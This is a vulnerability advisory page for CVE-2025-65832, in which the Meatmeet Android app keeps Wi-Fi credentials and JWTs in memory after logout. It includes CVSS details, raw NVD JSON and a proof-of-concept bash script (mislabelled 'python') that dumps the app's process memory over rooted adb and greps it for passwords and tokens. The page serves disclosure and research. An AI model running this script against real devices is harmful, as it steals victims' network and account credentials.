Security Vulnerability Report
中文
CVE-2025-65832 CVSS 4.6 MEDIUM

CVE-2025-65832

Published: 2025-12-10 21:16:09
Last Modified: 2026-01-06 14:34:04

Description

The mobile application insecurely handles information stored within memory. By performing a memory dump on the application after a user has logged out and terminated it, Wi-Fi credentials sent during the pairing process, JWTs used for authentication, and other sensitive details can be retrieved. As a result, an attacker with physical access to the device of a victim can retrieve this information and gain unauthorized access to their home Wi-Fi network and Meatmeet account.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:meatmeet:meatmeet:1.1.2.0:*:*:*:pro:android:*:* - VULNERABLE
Meatmeet移动应用 未知版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-65832 PoC - Memory Dump Attack on Meatmeet Application # This PoC demonstrates the vulnerability of sensitive data stored in memory TARGET_APP="com.meatmeet.app" OUTPUT_FILE="memory_dump_${TARGET_APP}_$(date +%Y%m%d_%H%M%S).bin" echo "=== CVE-2025-65832 Memory Dump PoC ===" echo "Target Application: $TARGET_APP" echo "" # Step 1: List running processes to find the target app PID PID=$(adb shell "ps -A | grep $TARGET_APP | awk '{print \$2}' | head -1") if [ -z "$PID" ]; then echo "[ERROR] Target application not running. Please start the app and login first." echo "[INFO] Then logout and keep the app in background before running this PoC." exit 1 fi echo "[STEP 1] Found target app with PID: $PID" # Step 2: Dump memory using procrank or memdump tool # Note: Requires root access or debugging enabled adb shell "su -c 'cat /proc/$PID/maps'" > "${OUTPUT_FILE}.maps" echo "[STEP 2] Memory maps saved to ${OUTPUT_FILE}.maps" # Step 3: Extract sensitive strings from memory dump echo "[STEP 3] Extracting sensitive strings..." adb shell "su -c 'dd if=/proc/$PID/mem of=/sdcard/${OUTPUT_FILE}'" 2>/dev/null adb pull "/sdcard/${OUTPUT_FILE}" "./${OUTPUT_FILE}" 2>/dev/null # Step 4: Search for sensitive patterns if [ -f "$OUTPUT_FILE" ]; then echo "" echo "[STEP 4] Searching for sensitive information..." echo "" echo "--- Wi-Fi Credentials (SSID/Password) ---" strings "$OUTPUT_FILE" | grep -E "(SSID|WIFI|wifi_|password|PASSWORD)" | head -20 echo "" echo "--- JWT Tokens ---" strings "$OUTPUT_FILE" | grep -E "eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+" | head -10 echo "" echo "--- API Keys / Tokens ---" strings "$OUTPUT_FILE" | grep -E "(token|Token|TOKEN|auth|Auth|AUTH)" | head -20 echo "" echo "[SUCCESS] Memory dump complete. Output saved to: $OUTPUT_FILE" else echo "[ERROR] Failed to dump memory. Device may not be rooted or debugging not enabled." fi echo "" echo "=== PoC Execution Complete ==="

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65832", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:09.027", "lastModified": "2026-01-06T14:34:03.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mobile application insecurely handles information stored within memory. By performing a memory dump on the application after a user has logged out and terminated it, Wi-Fi credentials sent during the pairing process, JWTs used for authentication, and other sensitive details can be retrieved. As a result, an attacker with physical access to the device of a victim can retrieve this information and gain unauthorized access to their home Wi-Fi network and Meatmeet account."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-316"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meatmeet:meatmeet:1.1.2.0:*:*:*:pro:android:*:*", "matchCriteriaId": "5728B254-9D91-4EA1-9C7B-B4957DE1D77D"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-sensitive-information-stored-in-memory-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Mobile-Application/Sensitive%20Information-Stored-in-Memory.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}